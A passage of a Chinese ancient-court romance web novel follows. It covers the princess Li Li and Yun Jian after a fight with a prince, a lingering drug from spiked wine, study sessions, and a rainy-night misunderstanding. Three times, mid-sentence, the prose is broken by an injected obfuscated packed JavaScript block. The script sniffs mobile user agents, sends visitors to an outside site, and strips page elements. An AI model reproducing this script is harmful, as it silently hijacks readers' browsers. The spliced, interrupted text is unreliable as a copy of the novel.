萧煜珏捂着左边胳膊,疼得在二人脚下打滚,云谏十分不解气,直接抬脚踩着他的断骨辗碾。 “为何三殿下就是不长教训?” 萧煜珏惨叫不已,仇怨到了顶,梗着脖子道:“我,我长教训?是你毁了她,你毁了她!” 黎梨稍怔,终于明白萧煜珏闹的这出缘何而来,被人觊觎窥视的恶心感上涌,她不由扯紧了自己的袖子。 云谏面无表情,将黎梨往后拨了拨,重新蹲回萧煜珏面前。 后者惊惧地看着他手里掂着的沉砚,后怕地闭上了嘴。 “毁了?” 云谏冷嗤了声:“我很珍惜她,甚至是你想象不到的程度,所以——” 他将那方砚台重重地抵到对方脑门上:“萧煜珏,别以为仗着皇亲身份就能胡作非为,我这人胆子不小,心肠不好,若不是顾念着她在边上看着,就凭你今日动的肮脏心思,我早就将你脑子敲得稀烂了。” 萧煜珏感受到额头冰冷厚重的石质,抵在头上时,那沉声听得骨头都在发脆。 他细汗出了一身,毫不怀疑对方话语的真实性。 “别来寻死。” 云谏毫不客气地拿砚台拍他的脸:“离她远些,听到了吗?” 萧煜珏咽了口水,屈辱地闭眼点了点头。 “三殿下!” 卫瑞跟得远,听见闹声后着急忙慌冲进来,一眼就看到了手骨扭曲的萧煜珏。 他倒吸一口凉气,连忙冲上去扶起对方:“殿下,你怎么伤成这样了!” 他又抬头望向身边二人:“你们……” 黎梨将云谏拉到边上,理直气壮道:“他自己摔的,可不关我们的事!” 卫瑞:“……”这真的很难相信。 萧煜珏自知不光彩,揪住卫瑞的衣裳:“走,先走……” 窄窄的书斋内落了一地鸡毛,卫瑞暗窥着云谏脸色,不敢再拖,搀起萧煜珏就灰溜溜出了书房。 黎梨赢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872862|134588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架,志得意满拍了拍手,在后面评道:“别的不行,滚得倒是挺快。” 她本还笑着,但是裙摆一转,见到沉着脸的云谏,又莫名心虚了起来。 云谏看着她折腾乱的衣裳,脸色愈发难看:“好好的课不上,跑这么远做什么,不知道危险?” 黎梨眼神瞟了瞟,好凶啊。 她探指扯住他的袖子,好声道:“别生气,我打赢了,又没吃亏。” 云谏深吸一口气:“那是因为他大意轻敌,还吊着一条手臂,若是……” “哎呀,”黎梨不爱听说教,滚筒子似的挨到了他身前,“你不是及时赶来了吗,不会出事的。” 她脑袋蹭来蹭去,本就散了的发髻更乱了些,云谏到底心软了一片。 他替她抚平翘起的发丝,无奈道:“你多少长点心吧,我实在害怕,我又不是每次都能及时赶到……” “你可以的。” 黎梨嫣然笑开,摸了摸他左耳的疤痕:“你每次都能及时赶到。” 左耳的触摸轻柔,她指尖的温度带来触电般的痒意,同浸着蜜糖的话语一并落到心间,轻易就搅得心跳乱了两拍。 云谏无端生出些特别的预感,慌得仓促撇开头。 “怎么了?” 黎梨不解他的反应,倾身追着看去,他微一垂眼,猝不及防就撞见了她微敞领口里的柔软雪色。 燥热刹那腾起,云谏闻到自己身上似有若无的花香气瞬间暴涨,深埋的欲念冲出桎梏,汹涌无比地想要扑向身前的少女。 云谏慌忙推开了黎梨。 黎梨脸上的笑意还未来得及敛下,实在料想不到此举,被推得踉跄几步才站稳。 她反应过来后有些难以置信,指指他又指指自己:“你……你推我?” 方才不是还好好的吗!他竟然偷袭! 云谏扯了扯衣袍,难掩窘迫:“不是……” “云二你完蛋了!” 上一个推她的人,才刚刚头破血流地被卫瑞扶走呢! 黎梨怒气冲冲扑了过去,身边就是墙根,云谏怕她撞上墙,想躲又不敢躲,一犹豫就被她按落了地。 他背靠着墙,长腿展开,命门敞露的危机感令他想要支起腿,谁知跨在其上的少女不知死活,直接坐了下去。 云谏倒吸一口气,想也没想就握住她的腰肢将她抱起了些。 黎梨后知后觉方才碾过了什么,紧张得脖颈都红了,她挣扎着要起身,忙乱间却冷不丁吸了满满一口花香。 热意悄然攀升出肺腑,吐息都染上了灼热。 她的动作渐渐顿住,双手按着云谏的肩,将半边身子的重量都交给他,只顾着垂下眼睫,俯视对上了他的琥珀瞳眸。 清冽甘酿里情意缠绵晃动。 他生得英气,仰着下颌的模样实在好看,黎梨忽然从居高的视角里觉出些隐晦的快意。 她的手指抚过他的额鬓,堪堪停在眉峰上:“我好像……还挺喜欢从这个角度看你的。” 少女的桃花眼里蕴起了蜜情春水,潋滟的樱唇微微张启着,花香漫溢,云谏看着她,仰颈时的喉结明显滚动了下。 她似乎察觉不到危险,但他握着她的腰,便知道她浮在虚无云端,正下方就是饥饿的鳄潭,正满怀贪欲将她虎视眈眈。 她的羽睫低低颤着,看他的眼神迷离得太过动人,鳄鱼在这样的眸光中叫嚣得猖狂又痛快。 云谏肆意感受着这份叫嚣,低低笑了声:“我也很喜欢你这样看我。” “若是在哭就更好了。” 19. 傍晚 黎梨明白他的意思,耳根渐渐红了。 揽星楼里的细泪与低语宛若一个个气泡,争先恐后浮出心海,轻响着爆开,在海面上荡起一圈圈涟漪。 云谏妄念纠缠,才脱口说了那句混账话。 但不知怎的,鼻息间的花香气骤然变浓,眼前的少女满身芬芳绽放而开,他恍惚间定睛,才发现细薄的水雾悄然泛上她的眼眸,朦朦胧胧地遮掩了清明神思。 ……像极了揽星楼那夜的模样。 看起来并不清醒。 云谏手上的力道紧了,倏尔明白过来,这些散不尽的花香、连绵的夜梦、愈发容易的动情……无一不在述说,二人中过的药并不简单。 许是她的体质比他差一些,似乎更难抵抗这份药效。 不知道还会不会有其他的影响。 未知感实在危险,旖旎心思没了大半,云谏坐直了些,抬手去擦她的脸:“黎梨,醒醒。” 他搓得她一侧脸颊都红了些,才看到她瞳仁开始缓缓凝聚。 云谏稍松一口气,想要拉她起来:“我们回去再说……” 不料黎梨神智刚清醒,这般看着他起身,视野里的晃动叫她忽然想起了某些回忆。 她立即“啪”地拍开了他的手,任自己重新跌回地面。 云谏惊愕看着她:“你……” “你太过分了!” 小郡主脸颊也痛,手心也痛,干脆捂在了一处,指指他道:“眼下青天白日的,你竟然……” “你竟然……” 黎梨想起方才自己坐得多么信任,就被膈得多么惊慌,一时间呼吸又促了些。 但许久也不见他吭声,黎梨睁圆了眼:“你不辩驳一下吗?” 说是她的错觉,说是他的意外,说什么都好啊!总不能真是他青天白日就想…… 云谏:“辩驳不了。” 他望着她眼下渐浓的绯色,实话实说:“此事并非我能全然控制,在你身边很容易……” 黎梨捂住脸让他闭嘴:“叫你辩驳,没叫你承认!” 二人正僵持着,书斋门口传入一道嘀咕声:“那小书童也太顽劣了些,竟然捉弄得我白跑一趟……刘掌教今日不在学府,怎么可能叫我去说话……” 两人齐齐望向门口,沈弈恰好迈进门,一眼看到满地的打斗狼藉,愣愣地抬起头,与他们对上了视线。 想起方才隐约听见的“啪”声动静,又见黎梨捂着脸坐地上,颊边红彤彤的一片,沈弈吓一激灵,还有什么不明白的! 他冲着云谏大喝一声:“住手!” 云谏冷眼看他:“……我没在动。” 沈弈不管他,三步并两冲到黎梨跟前,将她拉了起来:“郡主你没事吧?” 云谏先前寻人时心思都在一处,直到这时才想起,这儿是沈弈向学府借用的那间南书斋。 云谏看着对面并肩而立的二人,终于明白,她没去那堂抄经课,原来是来此处找他了。 她平日不爱读书,功课都要叫他写,如今却为了这探花郎,跑这么远,到一间平平无奇的书斋来。 格窗外树影晃动,落到几人身上的小半块日光被打碎又重新组合,照到云谏逐渐蜷起的指尖上。 他使了力,指尖按得有些发白。 黎梨似有所感地望去,云谏双眸里色泽微黯,多了些难懂的情绪。 她听见他低低唤了声:“黎梨。” 黎梨心下微乱,不觉往他那迈了一步。 沈弈却一把将她拉住,老母鸡护崽子一样转身将她藏在身后:“郡主别怕,我保护你!” 黎梨还未说话,云谏已经冷笑出声:“你保护她?” “你且说说你方才去哪了,被人支开了都不知道?” “南书斋是学府里最偏僻最少人的角落,你哪来的胆子,竟敢留她一个姑娘家待在这里?” 沈弈这才知道那书童有古怪:“原来……此事是我疏忽不当,但是——” 他指了指黎梨脸上的红痕,咬牙跺脚道:“郡马!你更可恶,男子汉大丈夫,怎么能打自己的妻子!” 云谏本是剑拔弩张之势,听见这话,仿若打了拳棉花,气势一下就钝滞了。 他与黎梨茫然对视了眼,两人脑袋都空了一瞬。 沈弈才来京几日,识人不多,初次见面时发觉二人身上熏香相同,又见他们亲昵同行夜归,心里就自然认定了关系。 他痛心疾首道:“夫妻之间有什么不能好好商量的?郡马你瞧着就是个习武之人,若伤了郡主,你不心疼吗!” 在场另两人的目光复杂地闪了闪。 死寂半晌后,黎梨迟缓开口道:“其实他不是……” 云谏打断道:“我没打她。” 黎梨头疼:“重点是,他并不是……” 云谏再次打断:“确实挺心疼的。” 黎梨:“你让我把话说完……” 云谏:“娘子,我知错了。” 黎梨:“……” 她面上没什么表情,直接转身离开书斋,一个无脑,一个无赖,实在没什么好说的了。 * 云谏回到舍馆不多时,便收到了长随向磊的传信。 是打听揽星楼那夜的酒菜有了结果,说是饭菜都是楼内统一筹备的,只那壶香酒是瞿家姑娘提前送来的。 云谏并不觉得意外,或许前些时日还只是怀疑,但今日花香气随着动情明显暴涨,显然二人中的药与那酒脱不了干系。 向磊问了那酒的来头,费了许多工夫,也只打听到那香酒出自瞿家祖籍——蒙西桐洲的一间铺子,据闻有些特殊药性,具体如何却不得知。 云谏捻着手里薄薄的信纸,良久沉默。 他心思算不得清白,容易唤起药性也正常,但好歹自幼练武,身子骨强劲,情乱时还能保持些许神智,但黎梨显然…… 云谏叹了口气。 必须得弄清楚那酒药还有何殊异,否则他都不敢叫她离开自己的视线,只怕出些别的意外。 只是蒙西桐洲何其路远,要去那地方,恐怕还需从长计议。 然而云谏的思量并未苦恼太久,几日后的一个傍晚,萧玳敲响了他的房门。 “云二!”门外少年压低了嗓音,却仍难掩兴奋,“快出来!” 云谏刚淋浴完,衣衫还未系利索,只叫他等等,但门外的敲门动静一刻都不停:“快些,快些!” 他没了耐心,直接扯开门:“有话就说。” 谁知门外先响起惊呼声:“你成何体统!” 再一定眼,萧玳手忙脚乱地将黎梨往自己身后挡,批评他道:“怎么不穿好衣裳再出门,有碍观瞻!” 云谏一阵无语,不是他一直在催么? 再说了,她有什么没见过的? 云谏稍微偏头,果然见到唯恐天下不乱的小郡主装模作样半遮着眼,纤白十指上新涂的蔻丹浅浅泛粉,好看得要紧,却丝毫没挡住后面滴溜溜的视线。 云谏暗觉好笑,拢起衣襟道:“说吧。” “哎,罢了,”萧玳将他拉下台阶,“我今日听父皇说了一件大事!” 他神神秘秘道:“你该知道税赋新政一事吧?新政变动颇大,父皇心中拿不准成效,便在蒙西划了三乡做试点,想要户部官员带几位望日学府的生徒一同前往,试行改政,体见民生。” 萧玳压低声道:“我与迟迟都想去,你可要一起?” 云谏有些微讶:“蒙西?” 黎梨终于移开了手,语气里难掩期待:“早在京城玩腻了!难得可以外出游历,怎么能错过这个机会?” 云谏迟疑道:“自然不能错过……只是我们如何能确定,圣上会选上我们几个呢?” 他就罢了,但萧玳是金尊玉贵的皇子,黎梨是锦嘉长公主的遗留血脉,没人敢在他们身上冒风险,他们要如何说服圣上…… 萧玳看傻子一般看他:“自然是用实力说话啊!” “在学府内遴选改政人选,少不得策论考究一番,如今大家还不知道这条消息,我们仨提前开始暗中复习,届时准备得比旁人充分,定能夺得头筹,赢下名额!” ……暗中复习。 云谏:好正派,好朴素的办法,竟然一点阴招都没有。 那边正派的两兄妹兴致勃勃,仿佛胜券在握,云谏不得不泼他们一盆冷水:“且不提届时的策论好不好写了……单说如今学府之内,白日有课,夜间舍馆又不许点灯,我们哪来的时间温习……” 萧玳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903552|134588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得意地拍拍胸脯:“我早就准备好了,跟我来!” 片刻后,三人停在了南书斋跟前。 黎梨抬头望着那块牌匾,方才的兴奋没了大半:“你的准备,就是这儿?” 萧玳应了:“当然!” “你们忘了?沈弈可是户部侍郎,他也要去蒙西的,我同他说我们非常挂心于改政之事,他二话没说就答应借书斋给我们做温习场地了。” 话正说着,沈弈从里推门出来,热心招呼各人进去。 他看到云谏的身影,显然已经搞清了他的身份,有些尴尬:“云二公子,上次……” 云谏:“无妨,可以叫我郡……” 一道重重的力道踩到鞋上,云谏话语微滞,只见旁边的少女收回了步子,若无其事地从他身边走过。 “踩我?” 云谏气笑了,伸手要拉她的袖子,却被黎梨避了过去,二人你追我赶在台阶下绕了个圈,黎梨却忽然收住步子,一本正经地往上跨了几步。 云谏好险才没扑她身上去,正觉莫名,抬头却见阶上的萧玳与沈弈回了头,神色疑惑地望着他。 沈弈问道:“云二公子,怎么还不上台阶,可是腿脚不便?” 云谏:“……不是。” 萧玳更狐疑地扫视他:“你老跟在我们家迟迟身后做什么,为何不走快点?” 云谏:“……我腿脚不便。” 待几名少年磨蹭进门,黎梨已经在桌边坐好了。 眼下才日落不久,窗外西边天际还有半轮昏黄,屋内灯烛融合着残阳余光,显出温和的暖色调,将满墙满柜的笔直书脊都柔化了些。 书斋内本来存有不少书,黎梨随意拿了几本蒙西的县志,文字呆板,翻着翻着她就在暖洋洋的光影里犯困,不自觉地伸手探向桌边的边城画册。 还没摸到,有几本图志被推到了眼前。 “知道你怕无聊,”云谏坐到她身边,“给你选了几本蒙西的图志,会有趣些。” “当真?”黎梨将信将疑,低头翻了起来。 云谏望了眼角落里的边城画册,心道自然是真的。 饶是角落里的灯烛光亮微弱,他也看得到书扉上的署名,看得见那些画册出自沈弈之手。 他想起刚回学府的那个晚上,他提着半截断剑走过拱桥,远远见到她在草亭里看书。 她最是喜动不喜静,那夜却点着灯笼静静看几本边城画册,看得入迷。 原来都是沈弈画的。 云谏默了默,抬手将角落里的画册再推远了些。 “我为你选的书,好看么?”他问。 黎梨认真看着,点了点头:“好看,民风志事,果然有趣。” 她翻过两页,又向他歪头思量:“你似乎不对劲,我踩你一脚,你还替我费心选书?” 云谏懒洋洋应了:“我就是不对劲。” 屋内另一侧的萧玳走了神,正与沈弈围着一张战马图大加赞赏,二人话语声热热闹闹的,衬得这方寸小书斋有些兵荒马乱之意。 黎梨却在这片混乱中静了心,低头看得认真,纤白的手指划过书页,没多久又伸远了些,无意识地摩挲着远处边城画册的书脊。 云谏看到她指尖上嫣红色泽,在烛光下显得柔软暧昧,轻轻擦过书脊上的署名。 “黎梨。”他静了静,忽然唤了声。 黎梨正看着蒙西的地方志异传说,有些入迷,只稍微倾了下脑袋:“嗯?” “上次打赌,你输了。” 她听见他这样说。 黎梨分出心神,想起是有这么一回事,抬起头来。 “嗯,那你想……” 她话语顿住,眸光晃着望去。 云谏已经握住了她伸出的手。 他力道虽轻却态度分明地将她握进手心里,她仍恍着神,带着薄茧的手指便穿插交叠了进来。 十指缓缓相扣,沿途撩起酥麻,指间似乎还能感受到脉搏,分不清是他的还是她自己的,既轻又重地淆乱在一处。 他牵着她,将二人的手带到桌下,任她指尖颤着按在他的手背上。 一屋之内的那头仍在兵荒马乱,这边二人却静得呼吸可闻。 云谏低声说:“好想牵你。” 20. 领任 黎梨都不知道自己是怎么回到舍馆的。 她蜷在床塌上,抱着一团被褥,只觉指间仍带着似有若无的微麻。 云谏的那番动作,她并没有预想到,起初还下意识缩了一下手,但他牵紧了不肯放,还一语戳中她的命门: “朝和郡主只敢打赌,却不敢服输?” 黎梨自诩廓达大度,不愿被他看轻,便耐着不自在,闷声任他牵着。 她原以为云谏也坚持不了多久,谁知对方并没有任何排斥的意思,还像寻到了新的乐趣,不多时就低头玩得起劲。 还说胡话。 “你的手好小。” “我手上的茧子会蹭疼你吗?” “这样碰你痒不痒……” 黎梨忍着头疼听了半晌,终于忍不住要朝他发作时,萧玳来了。 萧玳提了半卷西北出征图,就停在二人的桌子前方,眉飞色舞地喊云谏看将军战甲。 他站得近,只需再前两步,就能毫不费力地看见二人在桌子底下交握的手,黎梨慌了神,想抽手回来,云谏却仍是握着不肯放。 云谏脸上神色毫无异样,句句都与萧玳对答得从容。 但在桌底的阴影里,他不做好事,只管用指腹上的剑茧缓缓擦过她的手背,发现她紧张得微微颤栗,他甚至还有心情笑了下。 黎梨紧抿着唇,一句话都不敢说,萧玳很快发现了她的异常:“怎么了迟迟,你的脸为什么这么红?” 云谏另一手支在桌上撑着下颌,好整以暇地明知顾问:“对呀,为什么?” 想到这里,黎梨一头栽进软枕里,忿忿捶了几下枕边的床铺。 登徒子! * 萧玳的计划虽然质朴无华,但并未出错。 等遴选学子去往三乡改政的消息出来时,黎、云、萧三人已经在沈弈的书斋里老老实实啃了半个月的书,吃透了蒙西的风土民情。 萧玳还十分“好学”地向沈弈请教了许多,出自边陲的探花郎老实,用不着几日就将户部改政的老底交待了个干净。 于是在初秋黄了第一片叶子的时候,三人毫无意外交出了情文相当并茂的策论文章,成功挤入了改政人员的遴选名单。 接下来,萧玳还算顺利,他身为皇子,本就该体四时农桑,恤万姓营生,圣上很快允了他的离京请求。 但黎梨这边却十分棘手,安煦听说此事,想也不想便拒绝了。 “去往蒙西三乡需得跨山越水,餐风宿露,户部正经出差办事,也不会同意你们带一群仆从侍女,到民间摆那前呼后拥的京官排场,届时事事都得自己打点。” “你一个十指不沾阳春水的金枝玉叶,又不是那几个男孩儿,怎么能吃那样的苦?” 黎梨有些不服气:“怎么他们能吃苦,我就不能?” “我们随户部出行,安全自然无虞,在学府的时候,我也是凡事亲力亲为,并不是非得奴仆围绕才能过活,姨母,你还有什么不放心的?” 安煦还有很多不放心的。 于是在黎梨契而不舍纠缠了她一夜之后,她将黎梨捆着丢回了公主府的寝殿,顺带锁上了门。 “看好这个磨人精,别让她溜了。” 这消息传回学府后,书斋里的三位少年面面相觑。 几人没了心思,愣是待在书斋里冥思苦想了一夜,也没想出个捞人的好办法,只觉平日里流风和畅的小书斋,眼下空气都凝滞了不少。 萧玳斜躺在宽椅上,仰头望着房顶的竹绘出神:“父皇允了我离京……可若我不讲义气,自己去了蒙西,回来她定要朝我发脾气。” 云谏坐在书桌上,有一下没一下摸着木剑上缠绕的发带,仿佛还能从中闻到她留下的花香气。 萧玳想了又想,弹起身咬牙道:“不行,蒙西非去不可!” “我决定了,出发之前,我偷摸潜入公主府——” 云谏:“你潜吧,最好找个月黑风高的夜晚潜。” “到时候,我不仅要想办法把黎梨捞出公主府,还要想办法把你捞出捉贼的衙门。” 萧玳:…… 书斋里的唉声叹气正起劲,谁也没料想到欢跃的脚步声会在阶外响起,几人懵然抬眼,就看见被软禁的小郡主春光灿烂迈进了门。 黎梨一打量,也十分惊讶:“一大清早的,怎么都在呢?” 云谏手里的动作微顿,又听她开了口。 “先别管了,沈弈,来。” 她将手中提着的盒子递给对方:“公主府里的笔砚都堆成山了,这次回府,我顺道给你挑了几样上好的。” 沈弈一眼就瞧见盒子里的物什件件流光溢彩,显然绝非俗物,一时不敢接:“这……” 黎梨硬塞过去,低声道:“没事,你拿着,记得多给我画几张哥哥的画。” 后面两人有些耐不住了。 “黎梨。” 黎梨转过头,便见自己的半截披帛不知怎么到了云谏手里。 他轻拉了两下,见她不动,又拉了拉。 黎梨从善如流地走过去,见到他手边的绸带木剑,眉眼就弯了:“怎么了?” 云谏看看沈弈手里的盒子,没说话。 黎梨了然,凑上前同他小声解释: “你别小心眼,你也知道读书人清贫又讲究,上次你将他的砚台砸缺了一个口子,我瞧见了都不敢告诉他,今日这份只当作是我们给他的赔礼。” 许是这句“我们”与“他”太过泾渭分明,好听得悦耳,云谏轻哼了声,姑且算是放过。 满屋子的人只有萧玳记得正事,惊喜问道:“迟迟,你怎么被放出来了?” “你说服姑母了?” “当然,”黎梨扬起头,“你忘了蒙西曾是谁的封地了?” 蒙西曾是锦嘉长公主的封地。 公主封地皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930111|134588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是汤沐邑,锦嘉长公主及笄后,蒙西在她名下受管了颇长一段时间。 锦嘉性子柔善仁慈,除了王朝每年固定的税赋,从不另外征收汤沐银,她在人世的时候,十分受蒙西百姓的爱戴。 黎梨昨日软磨硬泡,都说服不了安煦,直到被锁进房里,她才憋不住眼泪,说道: “听闻蒙西有许多座公主庙,塑像都是母亲及笄时的容貌,我只是想去看一眼。” 这一句话令安煦再也硬不下心肠。 黎梨没与他们细说,只道蒙西到底特殊,姨母最后还是松了口。 “那就好,”萧玳如释重负,“后日便能随户部出发了。” 他略一琢磨,又笑了:“这日子定得正好,但凡早一日都麻烦。” “为什么?”黎梨好奇道。 “明日事儿可多了,比如说……” 萧玳拍了拍沈弈:“我们探花郎不是一直想要办画廊么,前些时候定了日子,碰巧就是明日。” 黎梨知道后者一直想要卖些书画,筹些银钱寄回苍榆补贴书塾,听闻这个消息自是替他高兴。 “沈探花丹青大名远扬,明日画廊必然车马盈门。” 沈弈笑得赧然:“承郡主吉言。” 正说着,臂弯的披帛又被人拉了一下,黎梨回头看去,云谏不知几时将她的披帛在自己的腕子上绕了半圈。 见绛红的箭袖上缱绻缠着月白软纱,黎梨不合时宜地想起那根绑在她腕上的发带,鬼迷心窍地走了神,连他说了句什么都没听见。 对面的少年牵着她的披帛,又将她拉近两步,黎梨才听清他问:“你要去吗?” “他的画廊。” 云谏坐在桌上,黎梨靠近他的手边,几乎可以与他面对面平视。 黎梨解着他腕间的软纱,随口反问道:“那你去吗?” 云谏摇摇头。 那边萧玳与沈弈清点着画卷,远远替他回了:“他去不了。” “我不是说明日事多么,他明日得去吏部领任。” 黎梨手上动作稍缓,这才想起校尉武试过去了许久,算算日子,他确实也该去吏部领受武官的官凭与鱼符了。 她琢磨着,这似乎是云谏的第一个武官头衔。 “知道你喜欢他的画。” 云谏垂眸望着地上的半块光影,轻声道:“可画廊之所临近京北城郊,如今入了秋又贼盗猖狂,路上不定安全……” “若你想去,等我领任回来陪你去吧。” 黎梨的眸光稍微晃了晃。 少年手撑在桌面上,指尖仍轻轻按着她的披帛,因着稍微低头而笼了半张脸的阴影,看不清他的神情。 她端详着他额前垂下的发丝,一直不吭声,直到良久之后他终于抬起眼帘,二人对上了视线。 黎梨甜甜笑了起来:“我不去。” “我在学府等你回来,陪你庆贺领任好不好?” 21. 雨夜 夕阳已至,京城的甜香居前仍然人来人往,排队的长龙一直延伸至街口那对古朴石狮子面前。 向磊望着专注挑选点心的自家公子,倍感无语,再看一眼他腰间花里胡哨的绸带木剑,更生出些恨铁不成钢的意味。 “公子,玩物丧志啊!你说你,出了吏部就要去买什么玉坠子。” “买了坠子又要来买点心,甜腻腻的点心有什么好吃的?你拿这半个时辰的排队时间,去选一把称心如意的新剑不好吗?” 他摇头叹气道:“今日领任,那吏部官员都憋着笑呢,哪里有武官上任佩把木剑的……” 话音落完,云谏稍微一顿,向磊心想,听得进意见,公子还有救,便继续劝道:“所以说啊……” 那边云谏却指了指手下的糕点,说着:“莲子糕口味偏甘,她不爱吃,其余的都包上几件吧。” 向磊满腹话语一噎,险些被自己一口气呛死。 看来没救了。 ……等等,她? 向磊一言难尽回头:“哪个她?” 云谏瞥了他一眼,没应声。 向磊到底跟了云谏许多年,立即明白了,还能有哪个她!红颜祸水啊!他捶胸顿足道:“我就说呢,平白无故来买什么糕点……” “等等,”向磊嚎到一半,突然一激灵,“公子你这糕点要送到哪里去?方才你在吏部的时候,我瞧见公主府的马车了,是郡主惯用的那一架,她似乎出行了呀……” 云谏刚接过掌柜手里的点心盒子,想也不想就否认道:“不可能,你看错了。” 向磊急了:“我怎么可能看错?你往日时不时就要与人家‘偶遇’一番,我跟了你那么久,就算那马车只剩个轱辘轴,我也不会认错!” 云谏:“……” “我瞧得可清楚了,”向磊咕哝道,“从学府方向出来的,直接奔着京北城郊去了……” 京北城郊。 云谏站在甜香居的台阶上,握着点心盒子触手温润的木柄,忽然想起昨日书斋地面那半块明晃晃的阳光。 当时她眼里的笑意比那片阳光还要煦暖,他怔着神问她:“当真?” 她应得毫不迟虑:“当真,你安心领任去,我答应你,就在学府等你回来。” 向磊在旁边嘀咕道:“再说了,那马车上十年一日挂着铃兰风铃,光是听声儿都能听出来,谁能认错啊……不过,郡主去京北做什么,眼下入秋了天黑得快,贼盗愈发猖狂,多少有些不太平……” 云谏没说话,抬眼望向京北的天空,沉云成团,压得既低又暗,似乎暗藏着一场雷雨。 他站了小会儿,抬步走向自己的马。 * 时辰深了,日光已然不多,但京北的宝和楼早早点起了百盏荧灯,辉煌灯火照得半边街面明明如昼。 云谏勒马停在楼前,大致扫了眼四周。 许多或长衫或华袍的赏客从楼里走出,皆是赞不绝口:“探花郎丹青妙笔名不虚传,今日真是大饱眼福了……” 还有不少客人怀里抱着长条状的油纸包裹,显然是购得了心仪的画卷。 “若不是囊中羞涩,真想再买几幅啊……” 有人抚摸着自己的油纸包裹,语气憧憬道:“方才那位贵客好生豪气,一掷千金买下那幅五城江山图,真是叫人眼红得紧。” “那可羡慕不来,那位是皇亲娘娘,没听见么,是公主还是郡主来着……” 抱着油纸的客人们从身边经过,云谏胸膛微微起伏着,在原地停留了良久,最终还是下马进了楼。 楼厅内展出的书画已经卖了个干净,沈弈正同宝和楼的掌柜说着什么,见他进来,有些惊讶:“云二公子?” “可有见到黎梨?”云谏开门见山。 “郡主?”沈弈迟疑道,“今日客人太多,我没太留意……” 云谏将他手里捧着的账册拿过来,稍一翻就找到了款项:“五城江山图,给付千两的贵客,你可知道是谁?” 沈弈接来一看,想了想道:“似乎是长公主府的账房来结的银钱,应该是长公主殿下买的……” 云谏还没说话,做久了买卖的宝和楼掌柜便笑了起来:“沈探花初初入京,有所不知。” “朝和郡主常住长公主府,平日用度支出也是长公主的账房协管,光看账房先生与印戳,可确定不了背后的贵人啊……” 云谏望着那枚红艳艳的印戳,颜色跳脱得刺眼,好似十分不情愿书页的牵扯,下一刻就要撕下自己跳出来,落地分道扬镳。 他侧开视线,道了辞。 * 京北通往学府的路上。 乌云压了许久,夜雨不出所料地降下,珠串似的雨丝垂下天幕,被过路的马匹打得碎乱。 云谏连件蓑衣都没有披,任雨点拍到自己身上,神思清醒得过分。 他知道黎梨算不得开窍,面对许多事情,她都是个直心眼,但这并不妨碍她心软。 她知晓他很在意此事,所以才会做出那样的承诺。 云谏不相信她会为了沈弈的薄薄一幅画,就草率地反悔,狠心罔顾他的感受。 马骑疾驰,学府的山脚眺目可视。 绵延的石灯火光在风雨中明明灭灭,照亮了一条蜿蜒向上的山道。 云谏远远看到有几团黑影聚在山道上,不必靠近就能听见激烈的人声与马匹嘶鸣,像是争斗得厉害。 他的心跳还是不由自主地乱了,猛夹马肚奔上前去,临近了才看清并无歹人作恶,只是马车陷入了泥坑。 公主府的马车。 那架轩敞马车倾斜了大半,马夫与侍卫们正扯着嗓子赶马离坑,一旁侍女们都撑着伞,但居中的华服少女还是裙摆沾湿,难掩狼狈。 他目光缓缓划落,停在她怀里的油纸包裹上。 长条形状,与那些走出宝和楼的宾客别无二致。 云谏静静望着,任由冷雨浇了自己一身。 他想起方才的笃定,突然觉得自己像个笑话。 那边的黎梨远远看见了他的身影,眼里的光彩却是倏尔亮了起来。 她欢喜地接过侍女手中的伞,踏着雨声迎了上去。 “你回来了?” 云谏心跳得极累,缄默下了马,什么都没说,从她身边径直走过。 黎梨懵懵地顺着他的身影望去,只见他挑了两块合适的山石,踢到马车轱辘跟前,用不了几鞭就赶得马儿扬蹄高跃,直接拉车驾碾上山石,转眼就冲出了泥坑。 忙活了半日的马夫与侍卫们松了一口气,青琼更是眉开眼笑地拍手:“太好了!” 她连忙过来扶黎梨:“郡主,快别淋雨了,回车上去吧。” 黎梨撑伞站在云谏的马匹旁,见对面的少年面无表情地卷着长鞭,她犹豫了下,仍吩咐道:“你们先上山吧,我自己回去就好。” 青琼惊呼道:“那怎么可以?这儿……” 紫瑶觑着自家郡主的神色,一把将青琼拉了回去:“多嘴,听主子的吩咐便是!” 后者被拖远了还在说:“可这儿离学府还有很长的一段路!” 紫瑶多少猜到些二人的关系,只悄悄掐了她一把,低声道:“没看到云家二公子在么?但凡他在场,郡主哪回不安妥了,哪里用得着你我操心?” 轱辘声渐远,云谏缓缓收好马鞭,迈开长腿回到马匹边上。 